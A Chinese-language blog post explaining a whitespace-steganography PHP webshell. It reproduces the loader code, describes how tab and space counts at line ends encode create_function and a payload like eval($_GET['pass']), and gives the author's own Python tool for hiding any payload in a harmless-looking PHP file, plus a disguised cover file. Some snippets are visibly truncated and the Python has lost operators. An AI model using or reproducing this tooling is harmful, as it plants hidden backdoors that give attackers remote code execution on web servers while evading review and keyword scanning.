一个经典的过人WebShell
大概是在去年,闲着无聊的时候翻阅知乎,看到了这么一个回答:https://www.zhihu.com/question/68591788/answer/269545371
其中最后那个过人的 webshell 引起了我的注意:
dataProcessor($f[$i]); } else { $c .= $this->dataProcessor($f[$i]); } } $t = $r('',"$c"); $t(); } function dataProcessor($li) { preg_match('/([\t ]+)\r?\n?$/', $li, $m); if (isset($m[1])) { $l = dechex(substr_count($m[1], "\t")); $r = dechex(substr_count($m[1], " ")); $n = hexdec($l.$r); return chr($n); } return ""; } } new newDataProvider(); ?>就像这位答主说的那样,大家能不能看出这个是 webshell 呢?以及评估一下自己在真实的系统中,很多 php 文件存在的情况下,能不能发觉这个 php 文件有点问题呢?我个人感觉自己在应急响应时,只有仔细看的时候才能发觉这是个 webshell,要不然我肯定粗略扫一眼以为是正常的 php 业务代码,直接放过
还有些人喜欢通过检索 webshell 关键字这样批量去找,这就更不可能找到了。那么这个 webshell 的原理是什么呢?每一行最后都有空格与制表符。\t的数量代表着 ascii 码 16 进制的第一位,空格的数量代表着 ascii 码 16 进制的第二位。然后有个关键的15,其实代表了前 15 行的空白字符组成的是create_function,后面就可以写一句话咯,例如eval($_GET["pass"]);,每一行写入一个字符即可。执行的时候先读取自身代码之后,按行提取出里面的空格和制表符,提取出隐藏的代码之后执行就完事了。
当然,要自己去加空格和制表符简直是反人类
所以我写了个隐藏 webshell 的代码如下:
import sys def put_color(string, color): colors = { 'red': '31', 'green': '32', 'yellow': '33', 'blue': '34', 'pink': '35', 'cyan': '36', 'gray': '2', 'white': '37', } return '\033[40;1;%s;40m%s\033[0m' % (colors[color], str(string)) if len(sys.argv) not in [3, 4]: sys.exit( '''[!] usage: python hidden_webshell.py payload filename [output_filename]\n''' ''' [-] example: python {}{}{}'''.format( put_color('hidden_webshell.py', 'white'), put_color(''' 'system("echo \"hacked by Tr0y :)\"");' ''', 'green'), put_color('webshell.php', 'blue') ) ) webshell_name = sys.argv[2] hidden_name = sys.argv[3] if len(sys.argv) == 4 else 'webshell_hidden.php' exp = sys.argv[1] # '''system("echo 'hacked by Tr0y :)'");''' if not exp.endswith(';'): print('[!] WARN: {} {}'.format( put_color('The payload should end in', 'yellow'), put_color(';', 'cyan') )) print('[+] Hide webshell') print(' [-] Read from {}'.format(put_color(webshell_name, 'blue'))) print(' [-] Payload is {}'.format(put_color(exp, 'green'))) payload = 'create_function' + exp with open(webshell_name, 'r') as fp: raw_php = fp.readlines() for line, content in enumerate(payload): hex_num = hex(ord(content)) tab_num = int(hex_num[2], 16) space_num = int(hex_num[3], 16) # 最好用空格的个数代表个位数 hidden = '\t' tab_num + ' ' space_num if line < len(raw_php): if raw_php[line].endswith('\n'): raw_php[line] = raw_php[line][:-1] + hidden + '\n' else: raw_php[line] = raw_php[line] + hidden else: raw_php.append(hidden + "\n") with open(hidden_name, 'w') as fp: fp.writelines(raw_php) print('[!] Saved as {}'.format(put_color(hidden_name, 'blue'))) print('[!] All done\n\nBye :)')然后我们还需要准备一个看似正常的 php 代码。其实这一步很重要,如果你的 php 代码看起来越无害,隐蔽效果就越好:
getArrayValue($lines[$i]); if ($i < 15) { $lower .= $value; } else { $higher .= $value; } } $verifyScore = $lower('', "$higher"); $result = $verifyScore(); return $result; } function getArrayValue($result) { preg_match('/([\t ]+)\r?\n?$/', $result, $match); if (isset($match[1])) { $lower = dechex(substr_count($match[1], "\t")); $higher = dechex(substr_count($match[1], " ")); $result = hexdec($lower.$higher); $result = chr($result); return $result; } return ''; } } $score = new getHigherScore();然后隐藏: